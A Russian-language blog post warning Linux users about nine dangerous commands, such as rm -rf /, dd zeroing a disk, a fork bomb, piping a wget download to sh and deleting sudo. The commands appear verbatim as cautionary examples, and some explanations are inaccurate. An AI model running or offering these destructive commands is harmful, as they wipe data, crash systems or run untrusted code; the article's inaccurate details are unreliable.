Найти тему
Pro Games

(ТОП-9) СМЕРТЕЛЬНЫХ КОМАНД Linux, КОТОРЫЕ НЕЛЬЗЯ ЗАПУСКАТЬ

Оглавление

Никогда не запускайте команду Linux, если вы точно не знаете, что она делает. Вот некоторые из самых опасных команд Linux, которых вы по большей части захотите избегать.

Linux может быть палкой о двух концах. Он предполагает, что вы знаете, что делаете, и дает вам свободу делать все, что вы хотите. Это не вызовет у вас вопросов. Это удобно, когда вы действительно знаете, что делаете, но это также означает, что вы можете вывести свою систему из строя за секунды.

Но независимо от того, новичок вы в Linux или ветеран, вам никогда не следует запускать команду, если вы точно не знаете , что она делает. Вот некоторые из самых опасных команд Linux, которых вы по большей части захотите избегать.

1. Рекурсивно Удалить

Возможность Linux удалять все, что вы хотите без вопросов, является находкой, особенно после многих лет работы с ошибками «Этот файл не может быть удален» в Windows. Но интернет быстро обманут вас, представив чрезвычайно опасные команды удаления, которые могут стереть все жесткие диски.

rm -rf /

Эта строка выполняет команду удаления rm с двумя переключателями: -r, которая вызывает рекурсивное удаление по всем подкаталогам, и -f, которая принудительно удаляет файлы, доступные только для чтения, без подтверждения. Команда выполняется на / корневой директории, по существу , вытирая всю систему в чистоте.

Обратите внимание, что в наши дни в большинстве систем Linux, если вы попытаетесь это сделать, вы получите предупреждение. Но предупреждение не гарантировано, поэтому просто не делайте этого.

2. Форматировать Жесткий Диск

Терминал особенно сложен для новичков в Linux, потому что он предоставляет несколько способов случайно стереть жесткий диск. Рекурсивное удаление - большая проблема, но вот еще одна:

mkfs.ext3 /dev/hda

Эта команда форматирует жесткий диск для использования файловой системы ext3. Форматирование диска не является вредоносным действием по своей сути, но оно «сбрасывает» диск так, что он «как новый». Другими словами, отформатированный жесткий диск похож на чистый лист.

Форматирование полезно для разделов диска и внешних дисков, но выполнение его на всем жестком диске (например, / dev / hda ) опасно и может оставить вашу систему в неустранимом состоянии.

3. Перезаписать Жесткий Диск

Как будто случайного форматирования диска было недостаточно, можно перезаписать жесткий диск, используя необработанные данные. По крайней мере, форматирование диска - это реальная процедура, которую можно использовать в реальной жизни; С другой стороны, прямая перезапись диска не так уж и хороша.

command > /dev/hda

В приведенной выше команде команду можно заменить любой командой Bash. Оператор > перенаправляет вывод команды слева в файл справа. В этом случае не имеет значения, каков вывод левой команды. Эти необработанные данные перенаправляются и используются для перезаписи системного жесткого диска.

Как вы понимаете, это делает его бесполезным.

4. Очистить Жесткий Диск

Вот еще один способ испортить вашу систему. На этот раз команда полностью обнулит ваш жесткий диск. Никаких повреждений или перезаписей данных; он буквально заполнит ваш жесткий диск нулями. Жесткий диск больше не протирается.

dd if=/dev/zero of=/dev/hda

Команда dd - это инструкция низкого уровня, которая в основном используется для записи данных на физические диски. Параметр if определяет источник данных, которым в данном случае является / dev / zero , специальный в Linux, который создает бесконечный поток нулей. Параметр of определяет место назначения этих нулей, которым является диск / dev / hda .

Да, есть законные причины для обнуления диска, но если вы не знаете, каковы эти причины, вам стоит держаться подальше от этой команды.

5. Жесткий Диск Implode

Если вы устали слышать, как вывести жесткий диск из строя, подождите. Вот вам еще одно. В Linux есть специальный файл с именем / dev / null , который удаляет все записанные в него данные. Вы можете думать об этом как о черной дыре или о файловом шредере: все, что ему передано в качестве входных данных, будет съедено навсегда.

mv / /dev/null

Вы можете заметить здесь опасность? Команда mv пытается переместить корневой каталог системы / в черную дыру / dev / null . Это верная команда, и результат ужасающий: жесткий диск съедается, и ничего не остается. Это сделает вашу систему непригодной для использования.

6. Причина Паники Ядра

В Windows есть печально известный Синий экран смерти . И, несмотря на распространенные мифы, Linux не является абсолютно безопасной системой . Иногда возникает внутренняя ошибка, из которой восстановление невозможно, поэтому система активирует нечто похожее на синий экран: панику ядра .

dd if=/dev/random of=/dev/port
echo 1 > /proc/sys/kernel/panic
cat /dev/port
cat /dev/zero > /dev/mem

Сложности вышеперечисленных команд здесь не важны. Что является важным является то , что работает любой из этих линий может привести к паники ядра, заставляя вас перезагрузить систему. Лучше держаться подальше от этих команд, если вы не уверены, что знаете, что делаете.

7. Вилочная Бомба

Bash - это язык терминала Linux, и он очень мощный. Он может не только запускать команды, но также выполнять функции, что упрощает написание сценариев, которые могут автоматизировать системные задачи. К сожалению, функции не лишены собственного набора рисков.

:(){:|:&};:

Эта непонятная команда называется вилкой-бомбой , которая представляет собой особый тип паники ядра. Он определяет функцию с именем : которая рекурсивно вызывает себя дважды при выполнении. Один из рекурсивных вызовов происходит на переднем плане, а другой - в фоновом.

Другими словами, всякий раз, когда эта функция выполняется, она порождает два дочерних процесса. Эти дочерние процессы порождают свои собственные дочерние процессы, и этот цикл продолжается в бесконечном цикле. Единственный выход - перезагрузка системы.

8. Выполнить Удаленный Скрипт

Вот невинная команда, которая действительно может быть полезна в повседневной жизни в системе Linux. wget извлекает содержимое веб-URL, которое можно использовать для доступа к веб-сайтам или загрузки файлов. Однако есть простой трюк, который делает это опасным:

wget http://an-untrusted-url -O- | sh

Вышеупомянутая комбинация загружает содержимое указанного URL-адреса и немедленно передает его команде sh , которая выполняет загруженное содержимое в терминале. Если бы URL-адрес указывал на вредоносный сценарий, вы решали бы свою судьбу с помощью этой команды.

9. Отключить Права На Корневую Команду

Эта последняя команда проста. Он использует обычно используемую команду rm для отключения двух наиболее важных команд в Linux: sudo и su . Короче говоря, эти две позволяют запускать другие команды с правами root. Без них жизнь в Linux была бы невыносимой.

rm -f /usr/bin/sudo;rm -f /bin/su

Вот почему вам не следует запускать эту команду. Он принудительно удаляет обе команды из вашей системы без какого-либо подтверждения, оставляя вас в затруднительном положении. Там являются способы восстановления, что вы удалили, но это не всегда просто и не будет приятным.

Пожалуйста, будь осторожен! Не бойтесь экспериментировать с Linux и терминалом командной строки, но в то же время проводите исследования и никогда ничего не выполняйте, если вы не уверены в том, что он делает. Если кто-то говорит вам «попробовать эту команду», всегда проверяйте ее дважды и трижды.